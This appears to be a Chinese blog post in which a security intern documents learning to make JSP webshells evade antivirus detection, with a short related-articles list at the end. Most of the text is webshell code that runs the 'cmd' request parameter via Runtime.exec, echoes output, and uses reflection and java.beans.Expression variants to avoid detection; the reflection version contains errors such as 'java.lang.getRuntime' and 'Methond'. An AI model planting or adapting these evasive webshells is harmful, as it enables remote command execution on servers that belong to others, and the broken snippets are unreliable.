• JSP webshell免杀——webshell免杀


    好搞笑,我身边的人省护期间天天提到许少,听说是一个很厉害的大佬。

    结果我免杀跟着学的视频就是这位大佬的。

    更离谱的是,聪哥说我们是见过许少的,就是上次给红队整理报告的时候,他就在。

    果然,实习就是好,传说中的大佬们就在身边——虽然我都不认识,但是还是感觉好厉害。

    来吧,开始学习免杀

    首先,什么是webshell?

    webshell就是以asp、php、jsp或者cgi等网页文件形式存在的一种代码执行环境,主要用于网站管理、服务器管理、权限管理等操作。使用方法简单,只需上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站和服务器的管理。

    什么是RCE?

    RCE英文全称:remote command/code execute
    分为远程命令执行ping和远程代码执行evel。
    漏洞出现的原因:没有在输入口做输入处理。

    先做到基本的反射

    首先就是最简单的一句话木马:

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        Runtime.getRuntime().exec(request.getParameter("cmd"));

    %>

     太容易被发现了

    而且在我写代码的时候电脑的病毒和威胁防护就已经开始反应了

    现在将这一句话木马,分开来写

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Runtime.getRuntime().exec(cmd);

    %>

     

     沙箱是通过了✌

    但是cmd=ipconfig是什么都不出的,netstat -ano也是。

     再次修改代码

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Process process = Runtime.getRuntime().exec(cmd);

        InputStream in = process.getInputStream();

        InputStreamReader reader = new InputStreamReader(in);

        BufferedReader input = new BufferedReader(reader);

        String s = null;

        response.getWriter().print("<pre>");

        while ((s = input.readLine())!=null){

            response.getWriter().println(s);

        }

        response.getWriter().print("</pre>");

    %>

    中间出了个小插曲,

     我一直看不出来代码为什么报错,结果找了半天竟然是因为getWrite少了个r。

     

    但是这只完成了可回显,还没有反射的功能

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page import="java.lang.reflect.Method" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Class<?> rt = Class.forName("java.lang.getRuntime");

        Methond grMethod = rt.getMethod("getRuntime");

        Methond method = rt.getMethod("exec",String.class);

        Object object = method.invoke(grMethod.invoke(null),cmd);

        Process process = (Process)object;

        InputStream in = process.getInputStream();

        InputStreamReader reader = new InputStreamReader(in);

        BufferedReader input = new BufferedReader(reader);

        String s = null;

        response.getWriter().print("<pre>");

        while ((s = input.readLine())!=null){

            response.getWriter().println(s);

        }

        response.getWriter().print("</pre>");

    %>

    BeansExpression的免杀

    <%@ page import="java.io.InputStream" %>

    <%@ page import="java.io.InputStreamReader" %>

    <%@ page import="java.io.BufferedReader" %>

    <%@ page import="java.beans.Expression" %>

    <%@ page language="java" pageEncoding="UTF-8" %>

    <%

        String cmd =request.getParameter("cmd");

        Expression expr = new Expression(Runtime.getRuntime(),"exec",new Object[]{cmd});

        Process process = (Process) expr.getValue();

        InputStream in = process.getInputStream();

        StringBuilder sb = new StringBuilder();

        response.getWriter().print("<pre>");

        InputStreamReader resultReader = new InputStreamReader(in);

        BufferedReader stdInput = new BufferedReader(resultReader);

        String s = null;

        while ((s = stdInput.readLine())!=null){

            sb.append(s).append("\n");

        }

        response.getWriter().print(sb.toString());

        response.getWriter().print("</pre>");

    %>

     

     

     

  • 相关阅读:
    用Python制作七夕表白神器,让你成功概率提高99.9%
    SPI 详解
    从头开始制作扩散模型(实现快速扩散模型的简单方法)
    OpenAI官方吴达恩《ChatGPT Prompt Engineering 提示词工程师》(6)扩写 / Expanding
    Docker中仓库、镜像和容器用法详解
    《MySQL实战45讲》——学习笔记20 “幻读、全表扫描的加锁方式、间隙锁、next-key lock“
    CTFshow,命令执行:web31
    java毕业设计校园快递柜存取件系统mybatis+源码+调试部署+系统+数据库+lw
    X.509 V3证书的签发与验证
    Allegro如何输出STP文件操作指导
  • 原文地址:https://blog.csdn.net/weixin_46601374/article/details/125470062